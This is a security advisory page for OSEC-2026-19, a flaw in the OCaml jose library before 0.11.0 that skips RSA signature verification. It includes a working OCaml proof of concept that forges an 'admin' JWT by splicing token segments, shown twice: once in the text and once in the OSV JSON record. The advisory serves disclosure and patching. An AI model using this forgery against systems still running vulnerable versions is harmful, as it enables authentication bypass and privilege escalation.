GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
osec-2026-19
Vulnerability from osv_ocaml
Published
2026-09-10 10:00
Modified
2026-09-10 20:20
Summary
JOSE: missing RSA signature verification
Details

The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.

Reproduction

With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:

let () = Mirage_crypto_rng_unix.use_default ()

let key =
  Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())

let sign sub =
  Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
  |> Result.get_ok |> Jose.Jwt.to<http://jose.jwt.to/>_string

let seg n token = List.nth (String.split_on_char '.' token) n

let alice = sign "alice" and admin = sign "admin"

(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]

match
  Jose.Jwt.unsafe_of_string forged
  |> Result.get_ok
  |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())
with
  | Ok t ->
    print_endline
      ("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub"))
  | Error _ -> print_endline "rejected"

The dune file:

(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))

This prints "accepted, sub = admin".

Workaround

There is no workaround known.

Timeline

  • 2026-08-25: private report via email to the authors of jose
  • 2026-08-25: fix published to repository
  • 2026-08-31: mail escalated to security@ocaml.org
  • 2026-09-04: released jose 0.11.0
  • 2026-09-10: published advisory

{
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "jose {\u003c \"0.11.0\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "jose",
        "purl": "pkg:opam/jose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "cf17d991ec6a0d1997956b6c7799890f9c28879e"
            }
          ],
          "repo": "https://github.com/ulrikstrid/ocaml-jose",
          "type": "GIT"
        }
      ],
      "versions": [
        "0.2.0",
        "0.3.0",
        "0.3.1",
        "0.4.0",
        "0.5.0",
        "0.5.1",
        "0.6.0",
        "0.7.0",
        "0.8.1",
        "0.8.2",
        "0.9.0",
        "0.10.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-89086"
  ],
  "credits": [
    {
      "name": "Sergey Zhukaev",
      "type": "REPORTER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    },
    {
      "name": "Konstantin Olkhovskiy",
      "type": "COORDINATOR"
    },
    {
      "name": "Ulrik Strid",
      "type": "REMEDIATION_DEVELOPER"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-347"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-19.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-19.json"
  },
  "details": "The opam package \"jose\" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.\n\n## Reproduction\n\nWith jose 0.10.0, the code below signs two tokens with the same key and glues one\u0027s payload onto the other\u0027s signature:\n\n```OCaml\nlet () = Mirage_crypto_rng_unix.use_default ()\n\nlet key =\n  Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())\n\nlet sign sub =\n  Jose.Jwt.sign key ~payload:(`Assoc [ (\"sub\", `String sub) ])\n  |\u003e Result.get_ok |\u003e Jose.Jwt.to\u003chttp://jose.jwt.to/\u003e_string\n\nlet seg n token = List.nth (String.split_on_char \u0027.\u0027 token) n\n\nlet alice = sign \"alice\" and admin = sign \"admin\"\n\n(* alice\u0027s header and signature, admin\u0027s payload *)\nlet forged = String.concat \".\" [ seg 0 alice; seg 1 admin; seg 2 alice ]\n\nmatch\n  Jose.Jwt.unsafe_of_string forged\n  |\u003e Result.get_ok\n  |\u003e Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())\nwith\n  | Ok t -\u003e\n    print_endline\n      (\"accepted, sub = \" ^ Option.get (Jose.Jwt.get_string_claim t \"sub\"))\n  | Error _ -\u003e print_endline \"rejected\"\n```\n\nThe dune file:\n```\n(executable (name repro)\n(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))\n```\n\nThis prints \"accepted, sub = admin\".\n\n## Workaround\n\nThere is no workaround known.\n\n## Timeline\n\n- 2026-08-25: private report via email to the authors of jose\n- 2026-08-25: fix published to repository\n- 2026-08-31: mail escalated to security@ocaml.org\n- 2026-09-04: released jose 0.11.0\n- 2026-09-10: published advisory",
  "id": "OSEC-2026-19",
  "modified": "2026-09-10T20:20:00Z",
  "published": "2026-09-10T10:00:00Z",
  "references": [],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JOSE: missing RSA signature verification"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…